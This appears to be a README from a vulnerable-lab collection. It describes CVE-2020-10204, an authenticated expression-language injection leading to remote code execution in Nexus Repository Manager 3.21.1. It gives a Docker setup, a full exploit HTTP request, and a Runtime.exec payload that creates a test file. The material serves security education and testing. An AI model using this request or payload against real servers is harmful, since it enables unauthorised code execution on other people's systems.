Aaron
63285f61aa
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56 lines
2.2 KiB
Markdown
56 lines
2.2 KiB
Markdown
# Nexus Repository Manager 3 Authenticated Remote Code Execution (CVE-2020-10204)
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[中文版本(Chinese version)](README.zh-cn.md)
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Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
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In the version <= 3.21.1, a EL injection vulnerability has been discovered that allows for an attacker with an administrative account on Nexus Repository to execute arbitrary code by crafting a malicious request to Nexus Repository. This issue is patch bypass of CVE-2018-16621.
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References:
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- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
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- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
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- https://github.com/jas502n/CVE-2020-10199
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## Vulnerable environment
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Execute following command to start a Nexus Repository Manager version 3.21.1:
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```
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docker compose up -d
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```
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After the server is started, browse `http://your-ip:8081` to see the home page of Nexus. Login the admin panel with administrator account `admin:admin` and finish the initialize wizard.
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## Exploit
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Copy your cookie and CSRF token then send following request:
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```
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POST /service/extdirect HTTP/1.1
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Host: your-ip
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Content-Length: 223
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X-Requested-With: XMLHttpRequest
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X-Nexus-UI: true
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
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NX-ANTI-CSRF-TOKEN: [csrf-token]
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Content-Type: application/json
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Accept: */*
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Origin: http://192.168.1.3:8081
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Referer: http://192.168.1.3:8081/
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[sessionid]
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Connection: close
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{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
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```
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As you can see, EL expression `233*233` is executed:
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Refer to <https://github.com/jas502n/CVE-2020-10199>, use EL expression payload `$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}` to execute command `touch /tmp/success`:
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